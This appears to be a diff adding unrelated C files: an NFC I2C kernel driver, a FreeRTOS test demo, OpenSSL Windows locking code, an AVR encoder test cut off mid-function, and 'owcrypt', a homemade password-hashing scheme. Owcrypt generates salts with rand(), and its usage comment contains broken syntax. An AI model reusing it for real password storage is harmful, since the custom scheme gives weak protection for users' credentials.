+	struct s3fwrn5_i2c_phy *phy = i2c_get_clientdata(client);
+	struct device_node *np = client->dev.of_node;
+
+	if (!np)
+		return -ENODEV;
+
+	phy->gpio_en = of_get_named_gpio(np, "s3fwrn5,en-gpios", 0);
+	if (!gpio_is_valid(phy->gpio_en))
+		return -ENODEV;
+
+	phy->gpio_fw_wake = of_get_named_gpio(np, "s3fwrn5,fw-gpios", 0);
+	if (!gpio_is_valid(phy->gpio_fw_wake))
+		return -ENODEV;
+
+	return 0;
+}
+
+static int s3fwrn5_i2c_probe(struct i2c_client *client,
+				  const struct i2c_device_id *id)
+{
+	struct s3fwrn5_i2c_phy *phy;
+	int ret;
+
+	phy = devm_kzalloc(&client->dev, sizeof(*phy), GFP_KERNEL);
+	if (!phy)
+		return -ENOMEM;
+
+	mutex_init(&phy->mutex);
+	phy->mode = S3FWRN5_MODE_COLD;
+	phy->irq_skip = true;
+
+	phy->i2c_dev = client;
+	i2c_set_clientdata(client, phy);
+
+	ret = s3fwrn5_i2c_parse_dt(client);
+	if (ret < 0)
+		return ret;
+
+	ret = devm_gpio_request_one(&phy->i2c_dev->dev, phy->gpio_en,
+		GPIOF_OUT_INIT_HIGH, "s3fwrn5_en");
+	if (ret < 0)
+		return ret;
+
+	ret = devm_gpio_request_one(&phy->i2c_dev->dev, phy->gpio_fw_wake,
+		GPIOF_OUT_INIT_LOW, "s3fwrn5_fw_wake");
+	if (ret < 0)
+		return ret;
+
+	ret = s3fwrn5_probe(&phy->ndev, phy, &phy->i2c_dev->dev, &i2c_phy_ops,
+		S3FWRN5_I2C_MAX_PAYLOAD);
+	if (ret < 0)
+		return ret;
+
+	ret = devm_request_threaded_irq(&client->dev, phy->i2c_dev->irq, NULL,
+		s3fwrn5_i2c_irq_thread_fn, IRQF_TRIGGER_HIGH | IRQF_ONESHOT,
+		S3FWRN5_I2C_DRIVER_NAME, phy);
+	if (ret)
+		s3fwrn5_remove(phy->ndev);
+
+	return ret;
+}
+
+static int s3fwrn5_i2c_remove(struct i2c_client *client)
+{
+	struct s3fwrn5_i2c_phy *phy = i2c_get_clientdata(client);
+
+	s3fwrn5_remove(phy->ndev);
+
+	return 0;
+}
+
+static struct i2c_device_id s3fwrn5_i2c_id_table[] = {
+	{S3FWRN5_I2C_DRIVER_NAME, 0},
+	{}
+};
+MODULE_DEVICE_TABLE(i2c, s3fwrn5_i2c_id_table);
+
+static const struct of_device_id of_s3fwrn5_i2c_match[] = {
+	{ .compatible = "samsung,s3fwrn5-i2c", },
+	{}
+};
+MODULE_DEVICE_TABLE(of, of_s3fwrn5_i2c_match);
+
+static struct i2c_driver s3fwrn5_i2c_driver = {
+	.driver = {
+		.owner = THIS_MODULE,
+		.name = S3FWRN5_I2C_DRIVER_NAME,
+		.of_match_table = of_match_ptr(of_s3fwrn5_i2c_match),
+	},
+	.probe = s3fwrn5_i2c_probe,
+	.remove = s3fwrn5_i2c_remove,
+	.id_table = s3fwrn5_i2c_id_table,
+};
+
+module_i2c_driver(s3fwrn5_i2c_driver);
+
+MODULE_LICENSE("GPL");
+MODULE_DESCRIPTION("I2C driver for Samsung S3FWRN5");
+MODULE_AUTHOR("Robert Baldyga <r.baldyga@samsung.com>");
diff --git a/pool/shard001/C/0023668_main_full.c b/pool/shard001/C/0023668_main_full.c
new file mode 100644
index 0000000000000000000000000000000000000000..927f7c2772b1f9cc8c843055b892d70f872adf9d
--- /dev/null
+++ b/pool/shard001/C/0023668_main_full.c
@@ -0,0 +1,414 @@
+/*
+    FreeRTOS V9.0.0 - Copyright (C) 2016 Real Time Engineers Ltd.
+    All rights reserved
+
+    VISIT http://www.FreeRTOS.org TO ENSURE YOU ARE USING THE LATEST VERSION.
+
+    This file is part of the FreeRTOS distribution.
+
+    FreeRTOS is free software; you can redistribute it and/or modify it under
+    the terms of the GNU General Public License (version 2) as published by the
+    Free Software Foundation >>>> AND MODIFIED BY <<<< the FreeRTOS exception.
+
+    ***************************************************************************
+    >>!   NOTE: The modification to the GPL is included to allow you to     !<<
+    >>!   distribute a combined work that includes FreeRTOS without being   !<<
+    >>!   obliged to provide the source code for proprietary components     !<<
+    >>!   outside of the FreeRTOS kernel.                                   !<<
+    ***************************************************************************
+
+    FreeRTOS is distributed in the hope that it will be useful, but WITHOUT ANY
+    WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+    FOR A PARTICULAR PURPOSE.  Full license text is available on the following
+    link: http://www.freertos.org/a00114.html
+
+    ***************************************************************************
+     *                                                                       *
+     *    FreeRTOS provides completely free yet professionally developed,    *
+     *    robust, strictly quality controlled, supported, and cross          *
+     *    platform software that is more than just the market leader, it     *
+     *    is the industry's de facto standard.                               *
+     *                                                                       *
+     *    Help yourself get started quickly while simultaneously helping     *
+     *    to support the FreeRTOS project by purchasing a FreeRTOS           *
+     *    tutorial book, reference manual, or both:                          *
+     *    http://www.FreeRTOS.org/Documentation                              *
+     *                                                                       *
+    ***************************************************************************
+
+    http://www.FreeRTOS.org/FAQHelp.html - Having a problem?  Start by reading
+    the FAQ page "My application does not run, what could be wrong?".  Have you
+    defined configASSERT()?
+
+    http://www.FreeRTOS.org/support - In return for receiving this top quality
+    embedded software for free we request you assist our global community by
+    participating in the support forum.
+
+    http://www.FreeRTOS.org/training - Investing in training allows your team to
+    be as productive as possible as early as possible.  Now you can receive
+    FreeRTOS training directly from Richard Barry, CEO of Real Time Engineers
+    Ltd, and the world's leading authority on the world's leading RTOS.
+
+    http://www.FreeRTOS.org/plus - A selection of FreeRTOS ecosystem products,
+    including FreeRTOS+Trace - an indispensable productivity tool, a DOS
+    compatible FAT file system, and our tiny thread aware UDP/IP stack.
+
+    http://www.FreeRTOS.org/labs - Where new FreeRTOS products go to incubate.
+    Come and try FreeRTOS+TCP, our new open source TCP/IP stack for FreeRTOS.
+
+    http://www.OpenRTOS.com - Real Time Engineers ltd. license FreeRTOS to High
+    Integrity Systems ltd. to sell under the OpenRTOS brand.  Low cost OpenRTOS
+    licenses offer ticketed support, indemnification and commercial middleware.
+
+    http://www.SafeRTOS.com - High Integrity Systems also provide a safety
+    engineered and independently SIL3 certified version for use in safety and
+    mission critical applications that require provable dependability.
+
+    1 tab == 4 spaces!
+*/
+
+/******************************************************************************
+ * NOTE 1:  This project provides two demo applications.  A simple blinky style
+ * project that demonstrates the tickless low power features of FreeRTOS, and a
+ * more comprehensive test and demo application.  The configCREATE_LOW_POWER_DEMO
+ * setting in FreeRTOSConifg.h is used to select between the two, and to select
+ * the clock used when tickless mode is used.  See the notes on using
+ * conifgCREATE_LOW_POWER_DEMO in main.c.  This file implements the
+ * comprehensive test and demo version.
+ *
+ * NOTE 2:  This file only contains the source code that is specific to the
+ * full demo.  Generic functions, such FreeRTOS hook functions, and functions
+ * required to configure the hardware, are defined in main.c.
+ *
+ ******************************************************************************
+ *
+ * main_full() creates all the demo application tasks and software timers, then
+ * starts the scheduler.  The web documentation provides more details of the
+ * standard demo application tasks, which provide no particular functionality,
+ * but do provide a good example of how to use the FreeRTOS API.
+ *
+ * In addition to the standard demo tasks, the following tasks and tests are
+ * defined and/or created within this file:
+ *
+ * "Reg test" tasks - These fill both the core and floating point registers with
+ * known values, then check that each register maintains its expected value for
+ * the lifetime of the task.  Each task uses a different set of values.  The reg
+ * test tasks execute with a very low priority, so get preempted very
+ * frequently.  A register containing an unexpected value is indicative of an
+ * error in the context switching mechanism.
+ *
+ * "Check" task - The check task period is initially set to three seconds.  The
+ * task checks that all the standard demo tasks, and the register check tasks,
+ * are not only still executing, but are executing without reporting any errors.
+ * If the check task discovers that a task has either stalled, or reported an
+ * error, then it changes its own execution period from the initial three
+ * seconds, to just 200ms.  The check task also toggles an LED each time it is
+ * called.  This provides a visual indication of the system status:  If the LED
+ * toggles every three seconds, then no issues have been discovered.  If the LED
+ * toggles every 200ms, then an issue has been discovered with at least one
+ * task.
+ */
+
+/* Standard includes. */
+#include <stdio.h>
+
+/* Kernel includes. */
+#include "FreeRTOS.h"
+#include "task.h"
+#include "timers.h"
+#include "semphr.h"
+
+/* SiLabs includes. */
+#include "bsp.h"
+
+/* Standard demo application includes. */
+#include "flop.h"
+#include "semtest.h"
+#include "dynamic.h"
+#include "blocktim.h"
+#include "GenQTest.h"
+#include "recmutex.h"
+#include "TimerDemo.h"
+#include "EventGroupsDemo.h"
+#include "TaskNotify.h"
+#include "StaticAllocation.h"
+
+/* Priorities for the demo application tasks. */
+#define mainSEM_TEST_PRIORITY				( tskIDLE_PRIORITY + 1UL )
+#define mainCREATOR_TASK_PRIORITY			( tskIDLE_PRIORITY + 3UL )
+#define mainFLOP_TASK_PRIORITY				( tskIDLE_PRIORITY )
+#define mainCHECK_TASK_PRIORITY				( configMAX_PRIORITIES - 1 )
+
+/* A block time of zero simply means "don't block". */
+#define mainDONT_BLOCK						( 0UL )
+
+/* The period of the check task, in ms, provided no errors have been reported by
+any of the standard demo tasks.  ms are converted to the equivalent in ticks
+using the portTICK_PERIOD_MS constant. */
+#define mainNO_ERROR_CHECK_TASK_PERIOD		pdMS_TO_TICKS( 3000UL )
+
+/* The period of the check task, in ms, if an error has been reported in one of
+the standard demo tasks.  ms are converted to the equivalent in ticks using the
+portTICK_PERIOD_MS constant. */
+#define mainERROR_CHECK_TASK_PERIOD 		pdMS_TO_TICKS( 200UL )
+
+/* Parameters that are passed into the register check tasks solely for the
+purpose of ensuring parameters are passed into tasks correctly. */
+#define mainREG_TEST_TASK_1_PARAMETER		( ( void * ) 0x12345678 )
+#define mainREG_TEST_TASK_2_PARAMETER		( ( void * ) 0x87654321 )
+
+/* The base period used by the timer test tasks. */
+#define mainTIMER_TEST_PERIOD				( 50 )
+
+/* The LED toggled by the check task. */
+#define mainTASK_LED						( 0 )
+
+/*-----------------------------------------------------------*/
+
+/*
+ * Called by main() to run the full demo (as opposed to the blinky demo) when
+ * mainCREATE_LOW_POWER_DEMO is set to 0.
+ */
+void main_full( void );
+
+/*
+ * The check task, as described at the top of this file.
+ */
+static void prvCheckTask( void *pvParameters );
+
+/*
+ * Some of the tests and demo tasks executed by the full demo include
+ * interaction from an interrupt - for which the tick interrupt is used via the
+ * tick hook function.
+ */
+void vFullDemoTickHook( void );
+
+/*
+ * Register check tasks, and the tasks used to write over and check the contents
+ * of the FPU registers, as described at the top of this file.  The nature of
+ * these files necessitates that they are written in an assembly file, but the
+ * entry points are kept in the C file for the convenience of checking the task
+ * parameter.
+ */
+static void prvRegTestTaskEntry1( void *pvParameters );
+extern void vRegTest1Implementation( void );
+static void prvRegTestTaskEntry2( void *pvParameters );
+extern void vRegTest2Implementation( void );
+
+/*-----------------------------------------------------------*/
+
+/* The following two variables are used to communicate the status of the
+register check tasks to the check task.  If the variables keep incrementing,
+then the register check tasks have not discovered any errors.  If a variable
+stops incrementing, then an error has been found. */
+volatile unsigned long ulRegTest1LoopCounter = 0UL, ulRegTest2LoopCounter = 0UL;
+
+/* The variable incremented in lieu of having a proper LED outout. */
+extern volatile uint32_t ulLED;
+
+/*-----------------------------------------------------------*/
+
+void main_full( void )
+{
+	/* Start all the other standard demo/test tasks.  They have no particular
+	functionality, but do demonstrate how to use the FreeRTOS API and test the
+	kernel port. */
+	vStartDynamicPriorityTasks();
+	vCreateBlockTimeTasks();
+	vStartGenericQueueTasks( tskIDLE_PRIORITY );
+	vStartRecursiveMutexTasks();
+	vStartSemaphoreTasks( mainSEM_TEST_PRIORITY );
+	vStartMathTasks( mainFLOP_TASK_PRIORITY );
+	vStartTimerDemoTask( mainTIMER_TEST_PERIOD );
+	vStartEventGroupTasks();
+	vStartTaskNotifyTask();
+	vStartStaticallyAllocatedTasks();
+
+	/* Create the register check tasks, as described at the top of this	file */
+	xTaskCreate( prvRegTestTaskEntry1, "Reg1", configMINIMAL_STACK_SIZE, mainREG_TEST_TASK_1_PARAMETER, tskIDLE_PRIORITY, NULL );
+	xTaskCreate( prvRegTestTaskEntry2, "Reg2", configMINIMAL_STACK_SIZE, mainREG_TEST_TASK_2_PARAMETER, tskIDLE_PRIORITY, NULL );
+
+	/* Create the task that performs the 'check' functionality,	as described at
+	the top of this file. */
+	xTaskCreate( prvCheckTask, "Check", configMINIMAL_STACK_SIZE, NULL, mainCHECK_TASK_PRIORITY, NULL );
+
+	/* Start the scheduler. */
+	vTaskStartScheduler();
+
+	/* If all is well, the scheduler will now be running, and the following
+	line will never be reached.  If the following line does execute, then
+	there was insufficient FreeRTOS heap memory available for the Idle and/or
+	timer tasks to be created.  See the memory management section on the
+	FreeRTOS web site for more details on the FreeRTOS heap
+	http://www.freertos.org/a00111.html. */
+	for( ;; );
+}
+/*-----------------------------------------------------------*/
+
+static void prvCheckTask( void *pvParameters )
+{
+TickType_t xDelayPeriod = mainNO_ERROR_CHECK_TASK_PERIOD;
+TickType_t xLastExecutionTime;
+static unsigned long ulLastRegTest1Value = 0, ulLastRegTest2Value = 0;
+unsigned long ulErrorFound = pdFALSE;
+
+	/* Just to stop compiler warnings. */
+	( void ) pvParameters;
+
+	/* Initialise xLastExecutionTime so the first call to vTaskDelayUntil()
+	works correctly. */
+	xLastExecutionTime = xTaskGetTickCount();
+
+	/* Cycle for ever, delaying then checking all the other tasks are still
+	operating without error.  The onboard LED is toggled on each iteration.
+	If an error is detected then the delay period is decreased from
+	mainNO_ERROR_CHECK_TASK_PERIOD to mainERROR_CHECK_TASK_PERIOD.  This has the
+	effect of increasing the rate at which the onboard LED toggles, and in so
+	doing gives visual feedback of the system status. */
+	for( ;; )
+	{
+		/* Delay until it is time to execute again. */
+		vTaskDelayUntil( &xLastExecutionTime, xDelayPeriod );
+
+		/* Check all the demo tasks (other than the flash tasks) to ensure
+		that they are all still running, and that none have detected an error. */
+		if( xAreMathsTaskStillRunning() != pdTRUE )
+		{
+			ulErrorFound = 1UL << 1UL;
+		}
+
+		if( xAreDynamicPriorityTasksStillRunning() != pdTRUE )
+		{
+			ulErrorFound = 1UL << 2UL;
+		}
+
+		if( xAreStaticAllocationTasksStillRunning() != pdPASS )
+		{
+			ulErrorFound = 1UL << 3UL;
+		}
+
+		if ( xAreBlockTimeTestTasksStillRunning() != pdTRUE )
+		{
+			ulErrorFound = 1UL << 4UL;
+		}
+
+		if ( xAreGenericQueueTasksStillRunning() != pdTRUE )
+		{
+			ulErrorFound = 1UL << 5UL;
+		}
+
+		if ( xAreRecursiveMutexTasksStillRunning() != pdTRUE )
+		{
+			ulErrorFound = 1UL << 6UL;
+		}
+
+		if( xAreSemaphoreTasksStillRunning() != pdTRUE )
+		{
+			ulErrorFound = 1UL << 8UL;
+		}
+
+		if( xAreTimerDemoTasksStillRunning( ( TickType_t ) xDelayPeriod ) != pdPASS )
+		{
+			ulErrorFound = 1UL << 9UL;
+		}
+
+		if( xAreEventGroupTasksStillRunning() != pdPASS )
+		{
+			ulErrorFound = 1UL << 12UL;
+		}
+
+		if( xAreTaskNotificationTasksStillRunning() != pdPASS )
+		{
+			ulErrorFound = 1UL << 14UL;
+		}
+
+		/* Check that the register test 1 task is still running. */
+		if( ulLastRegTest1Value == ulRegTest1LoopCounter )
+		{
+			ulErrorFound = 1UL << 15UL;
+		}
+		ulLastRegTest1Value = ulRegTest1LoopCounter;
+
+		/* Check that the register test 2 task is still running. */
+		if( ulLastRegTest2Value == ulRegTest2LoopCounter )
+		{
+			ulErrorFound = 1UL << 16UL;
+		}
+		ulLastRegTest2Value = ulRegTest2LoopCounter;
+
+		/* Toggle the check LED to give an indication of the system status.  If
+		the LED toggles every mainNO_ERROR_CHECK_TASK_PERIOD milliseconds then
+		everything is ok.  A faster toggle indicates an error. */
+		BSP_LedToggle( mainTASK_LED );
+
+		if( ulErrorFound != pdFALSE )
+		{
+			/* An error has been detected in one of the tasks - flash the LED
+			at a higher frequency to give visible feedback that something has
+			gone wrong. */
+			xDelayPeriod = mainERROR_CHECK_TASK_PERIOD;
+		}
+
+		configASSERT( ulErrorFound == pdFALSE );
+	}
+}
+/*-----------------------------------------------------------*/
+
+static void prvRegTestTaskEntry1( void *pvParameters )
+{
+	/* Although the regtest task is written in assembler, its entry point is
+	written in C for convenience of checking the task parameter is being passed
+	in correctly. */
+	if( pvParameters == mainREG_TEST_TASK_1_PARAMETER )
+	{
+		/* Start the part of the test that is written in assembler. */
+		vRegTest1Implementation();
+	}
+
+	/* The following line will only execute if the task parameter is found to
+	be incorrect.  The check task will detect that the regtest loop counter is
+	not being incremented and flag an error. */
+	vTaskDelete( NULL );
+}
+/*-----------------------------------------------------------*/
+
+static void prvRegTestTaskEntry2( void *pvParameters )
+{
+	/* Although the regtest task is written in assembler, its entry point is
+	written in C for convenience of checking the task parameter is being passed
+	in correctly. */
+	if( pvParameters == mainREG_TEST_TASK_2_PARAMETER )
+	{
+		/* Start the part of the test that is written in assembler. */
+		vRegTest2Implementation();
+	}
+
+	/* The following line will only execute if the task parameter is found to
+	be incorrect.  The check task will detect that the regtest loop counter is
+	not being incremented and flag an error. */
+	vTaskDelete( NULL );
+}
+/*-----------------------------------------------------------*/
+
+void vFullDemoTickHook( void )
+{
+	/* Some of the tests and demo tasks executed by the full demo include
+	interaction from an interrupt - for which the tick interrupt is used via
+	the tick hook function. */
+
+	/* The full demo includes a software timer demo/test that requires
+	prodding periodically from the tick interrupt. */
+	vTimerPeriodicISRTests();
+
+	/* Call the periodic event group from ISR demo. */
+	vPeriodicEventGroupsProcessing();
+
+	/* Call the code that 'gives' a task notification from an ISR. */
+	xNotifyTaskFromISR();
+}
+
+
+
+
+
+
diff --git a/pool/shard001/C/0023679_owcrypt.c b/pool/shard001/C/0023679_owcrypt.c
new file mode 100644
index 0000000000000000000000000000000000000000..1a9ac2832480419883b61ce9730107804183a6d3
--- /dev/null
+++ b/pool/shard001/C/0023679_owcrypt.c
@@ -0,0 +1,181 @@
+/*
+ * owcrypt.c - One Way Encryption. (used for storing a database user password)
+ *
+ * author       : Jeroen van der Heijden
+ * email        : jeroen@transceptor.technology
+ * copyright    : 2017, Transceptor Technology
+ *
+ * changes:
+ *  - initial version, 24-02-2017
+ *
+ * purpose:
+ *  - provide an encryption algorithm to prevent password guessing.
+ *  - passwords should be stored using one way encryption so the original
+ *    is lost.
+ *
+ */
+#include <stdlib.h>
+#include <string.h>
+#include <assert.h>
+#include <owcrypt/owcrypt.h>
+
+#define OLD_SALT_SZ 8
+
+#define CRYPTSET(x) t = encrypted[x] + k; encrypted[x] = VCHARS[t % 64]
+
+#define VCHARS "./0123456789" \
+    "abcdefghijklmnopqrstuvwxyz"  \
+    "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+
+static const int P[109] = {
+        281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367,
+        373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449,
+        457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547,
+        557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631,
+        641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727,
+        733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823,
+        827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919,
+        929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997 };
+
+static const unsigned int END = OWCRYPT_SZ - 1;
+
+static void owcrypt0(
+        const char * password,
+        const char * salt,
+        char * encrypted);
+static void owcrypt1(
+        const char * password,
+        const char * salt,
+        char * encrypted);
+
+
+/*
+ * Encrypts a password using a salt.
+ *
+ * Usage:
+ *
+ *  char[OWCRYPT_SZ] encrypted;
+ *  owcrypt("my_password", "saltsalt$1", encrypted);
+ *
+ *  // Checking can be done like this:
+ *  char[OWCRYPT_SZ] pw;
+ *  owcrypt("pasword_to_check", encrypted, pw");
+ *  if (strcmp(pw, encrypted) === 0) {
+ *      // valid
+ *  }
+ *
+ * Parameters:
+ *  const char * password: must be a terminated string
+ *  const char * salt: must be a string with at least a length OWCRYPT_SALT_SZ.
+ *  char * encrypted: must be able to hold at least OWCRYPT_SZ chars.
+ */
+void owcrypt(const char * password, const char * salt, char * encrypted)
+{
+    switch (salt[OWCRYPT_SALT_SZ - 1])
+    {
+    case '0':
+        owcrypt0(password, salt, encrypted);
+        break;
+    case '1':
+        owcrypt1(password, salt, encrypted);
+        break;
+    default:
+        encrypted[0] = '\0';
+        break;
+    }
+}
+
+/*
+ * Generate a random salt.
+ *
+ * Make sure random is initialized, for example using:
+ *  srand(time(NULL));
+ */
+void owcrypt_gen_salt(char * salt)
+{
+    int i;
+    for (i = 0; i < OWCRYPT_SALT_SZ - 2; i++)
+    {
+        salt[i] = VCHARS[rand() % 64];
+    }
+    salt[OWCRYPT_SALT_SZ - 2] = '$';
+    salt[OWCRYPT_SALT_SZ - 1] = '1';
+}
+
+static void owcrypt1(
+        const char * password,
+        const char * salt,
+        char * encrypted)
+{
+    unsigned int i, j, c;
+    unsigned long int k, t;
+    unsigned const char * p, * w;
+
+    memset(encrypted, 0, OWCRYPT_SZ);
+
+    for (i = 0; i < OWCRYPT_SALT_SZ; i++)
+    {
+        encrypted[i] = salt[i];
+    }
+
+    for (   w = (unsigned char *) password, i = OWCRYPT_SALT_SZ;
+            i < END;
+            i++, w++)
+    {
+        if (!*w)
+        {
+            w = (unsigned char *) password;
+        }
+
+        for (k = 0, p = (unsigned char *) password; *p; p++)
+        {
+            for (c = 0; c < OWCRYPT_SALT_SZ; c++)
+            {
+                k += P[(salt[c] + *p + *w + i + k) % 109];
+            }
+        }
+        CRYPTSET(i);
+
+        for (j = k % 3 + OWCRYPT_SALT_SZ, c = k % 5 + 1; j < END; j += c)
+        {
+            CRYPTSET(j);
+        }
+    }
+}
+
+static void owcrypt0(
+        const char * password,
+        const char * salt,
+        char * encrypted)
+{
+    unsigned int i, c, j;
+    unsigned long long k;
+    const char * p, * w;
+
+    for (i = 0; i < OLD_SALT_SZ; i++)
+    {
+        encrypted[i] = salt[i];
+    }
+
+    encrypted[OLD_SALT_SZ] = '$';
+    encrypted[OLD_SALT_SZ + 1] = '0';
+
+    for (w = password, i = OLD_SALT_SZ + 2; i < OWCRYPT_SZ - 1; i++, w++)
+    {
+        if (!*w)
+        {
+            w = password;
+        }
+
+        for (k = 0, p = password; *p; p++)
+        {
+            for (c = 0; c < OLD_SALT_SZ; c++)
+            {
+                j = salt[c] + *p + *w;
+                k += j * P[(j + i + k) % 109];
+            }
+        }
+        encrypted[i] = VCHARS[k % 64];
+    }
+    encrypted[OWCRYPT_SZ - 1] = '\0';
+}
diff --git a/pool/shard001/C/0023696_threads_win.c b/pool/shard001/C/0023696_threads_win.c
new file mode 100644
index 0000000000000000000000000000000000000000..d8fdfb74f5b7b093ed3b926eb005c10c4f3df681
--- /dev/null
+++ b/pool/shard001/C/0023696_threads_win.c
@@ -0,0 +1,163 @@
+/*
+ * Copyright 2016-2018 The OpenSSL Project Authors. All Rights Reserved.
+ *
+ * Licensed under the OpenSSL license (the "License").  You may not use
+ * this file except in compliance with the License.  You can obtain a copy
+ * in the file LICENSE in the source distribution or at
+ * https://www.openssl.org/source/license.html
+ */
+
+#if defined(_WIN32)
+# include <windows.h>
+#endif
+
+#include <openssl/crypto.h>
+
+#if defined(OPENSSL_THREADS) && !defined(CRYPTO_TDEBUG) && defined(OPENSSL_SYS_WINDOWS)
+
+CRYPTO_RWLOCK *CRYPTO_THREAD_lock_new(void)
+{
+    CRYPTO_RWLOCK *lock;
+
+    if ((lock = OPENSSL_zalloc(sizeof(CRITICAL_SECTION))) == NULL) {
+        /* Don't set error, to avoid recursion blowup. */
+        return NULL;
+    }
+
+    /* 0x400 is the spin count value suggested in the documentation */
+    if (!InitializeCriticalSectionAndSpinCount(lock, 0x400)) {
+        OPENSSL_free(lock);
+        return NULL;
+    }
+
+    return lock;
+}
+
+int CRYPTO_THREAD_read_lock(CRYPTO_RWLOCK *lock)
+{
+    EnterCriticalSection(lock);
+    return 1;
+}
+
+int CRYPTO_THREAD_write_lock(CRYPTO_RWLOCK *lock)
+{
+    EnterCriticalSection(lock);
+    return 1;
+}
+
+int CRYPTO_THREAD_unlock(CRYPTO_RWLOCK *lock)
+{
+    LeaveCriticalSection(lock);
+    return 1;
+}
+
+void CRYPTO_THREAD_lock_free(CRYPTO_RWLOCK *lock)
+{
+    if (lock == NULL)
+        return;
+
+    DeleteCriticalSection(lock);
+    OPENSSL_free(lock);
+
+    return;
+}
+
+#  define ONCE_UNINITED     0
+#  define ONCE_ININIT       1
+#  define ONCE_DONE         2
+
+/*
+ * We don't use InitOnceExecuteOnce because that isn't available in WinXP which
+ * we still have to support.
+ */
+int CRYPTO_THREAD_run_once(CRYPTO_ONCE *once, void (*init)(void))
+{
+    LONG volatile *lock = (LONG *)once;
+    LONG result;
+
+    if (*lock == ONCE_DONE)
+        return 1;
+
+    do {
+        result = InterlockedCompareExchange(lock, ONCE_ININIT, ONCE_UNINITED);
+        if (result == ONCE_UNINITED) {
+            init();
+            *lock = ONCE_DONE;
+            return 1;
+        }
+    } while (result == ONCE_ININIT);
+
+    return (*lock == ONCE_DONE);
+}
+
+int CRYPTO_THREAD_init_local(CRYPTO_THREAD_LOCAL *key, void (*cleanup)(void *))
+{
+    *key = TlsAlloc();
+    if (*key == TLS_OUT_OF_INDEXES)
+        return 0;
+
+    return 1;
+}
+
+void *CRYPTO_THREAD_get_local(CRYPTO_THREAD_LOCAL *key)
+{
+    DWORD last_error;
+    void *ret;
+
+    /*
+     * TlsGetValue clears the last error even on success, so that callers may
+     * distinguish it successfully returning NULL or failing. It is documented
+     * to never fail if the argument is a valid index from TlsAlloc, so we do
+     * not need to handle this.
+     *
+     * However, this error-mangling behavior interferes with the caller's use of
+     * GetLastError. In particular SSL_get_error queries the error queue to
+     * determine whether the caller should look at the OS's errors. To avoid
+     * destroying state, save and restore the Windows error.
+     *
+     * https://msdn.microsoft.com/en-us/library/windows/desktop/ms686812(v=vs.85).aspx
+     */
+    last_error = GetLastError();
+    ret = TlsGetValue(*key);
+    SetLastError(last_error);
+    return ret;
+}
+
+int CRYPTO_THREAD_set_local(CRYPTO_THREAD_LOCAL *key, void *val)
+{
+    if (TlsSetValue(*key, val) == 0)
+        return 0;
+
+    return 1;
+}
+
+int CRYPTO_THREAD_cleanup_local(CRYPTO_THREAD_LOCAL *key)
+{
+    if (TlsFree(*key) == 0)
+        return 0;
+
+    return 1;
+}
+
+CRYPTO_THREAD_ID CRYPTO_THREAD_get_current_id(void)
+{
+    return GetCurrentThreadId();
+}
+
+int CRYPTO_THREAD_compare_id(CRYPTO_THREAD_ID a, CRYPTO_THREAD_ID b)
+{
+    return (a == b);
+}
+
+int CRYPTO_atomic_add(int *val, int amount, int *ret, CRYPTO_RWLOCK *lock)
+{
+    *ret = InterlockedExchangeAdd(val, amount) + amount;
+    return 1;
+}
+
+int openssl_init_fork_handlers(void)
+{
+    return 0;
+}
+
+#endif
diff --git a/pool/shard001/C/0023706_prototest.loop.c b/pool/shard001/C/0023706_prototest.loop.c
new file mode 100644
index 0000000000000000000000000000000000000000..43c5d10e2c828c6c1bfb4903547f224d56719967
--- /dev/null
+++ b/pool/shard001/C/0023706_prototest.loop.c
@@ -0,0 +1,153 @@
+// program test 
+
+/* 7 segment / enc testing.  */ 
+
+#define F_CPU 1000000UL
+#define __AVR_ATtiny2313__
+
+
+#include <avr/io.h>
+#include <util/delay.h>
+#include <stdint.h>
+#include <stdlib.h>
+
+#include <avr/sleep.h>
+
+
+#define HIGH_BITS 0xF0
+#define LOW_BITS 0x0F
+
+volatile static uint8_t display;
+volatile static uint8_t encoder_state; 
+
+/* seems to work better than fancy logic math. */
+static const uint8_t transition_table[16] = {0,  1, -1,  0,  
+                                            -1,  0,  0,  1,
+                                             1,  0,  0, -1,
+                                             0, -1,  1,  0};
+
+// cw = 1, ccw = -1, error/ no move = 0.
+
+/*
+ab -> ab meaning
+00    00 no movement
+00    01 cw
+00    10 ccw 
+00    11 no movement / errors
+
+01 00 ccw
+01 01 no movement 
+01 10 no movement / errors
+01 11 cw 
+
+10 00 cw
+10 01 no movement / errors 
+10 10 no movement
+10 11 ccw
+
+11 00 no movement / errors
+11 01 ccw 
+11 10 cw
+11 11 no movement 
+*/
+
+void pinSetup() {
+    /*  DDR   == data direction
+        PORT  == write to port, or enable pull up resistors
+        PIN   == read a pin
+    */
+
+    /* Port B used for LED control */
+    DDRB = 0xFF;  // set port D to output (1)
+    PORTB = 0x00; 
+
+    /* Use port d for input, and enable internal pull-up
+       resistors for pins D0 ~ D3 (0000 1111 = 0x0F */
+    DDRD = 0x00;  
+    PORTD = 0xFF; // 1s enable internal pull-up resistor(s)
+
+
+}
+
+/*
+void updateLeds() {
+    PORTB = display; 
+    }
+
+Last 4 bits of the input number are considered. 
+void setDisplayHighBits(uint8_t x) {
+    display |= ((HIGH_BITS & x) << 4); 
+    updateLeds();
+}
+void setDisplayLowBits(uint8_t x) {
+    display |= (LOW_BITS & x); 
+    updateLeds();
+    }
+*/
+uint8_t readEncoderState() {
+
+    // Notes for figuring out a 1-byte data structure for 8 boolean variables. 
+    // PIND: 
+    // d0 d1 d2 d3 d4 d5 -  -  
+    // A1 B1 -- -- A2 B2 -- -- 
+
+    // pind: 
+    // -  -  d5 d4 d3 d2 d1 d0
+    // -- -- B2 A2 -- -- B1 A1
+
+    //  << 2 : 
+    //  b2 a2 -- -- b1 a2 -- -- 
+//  OR  (
+    //   0  0  1  1  0  0  1  1 AND 
+    //  -- -- B2 A2 -- -- B1 A1
+    // 
+   
+   // uint8_t aux = PIND & 0x33;
+   // aux = PIND & 0x33;
+
+    encoder_state = ((encoder_state << 2) & 0xCC) | (PIND & 0x33); 
+    _delay_ms(5); // software debounce    
+    // encoder_state |= aux;
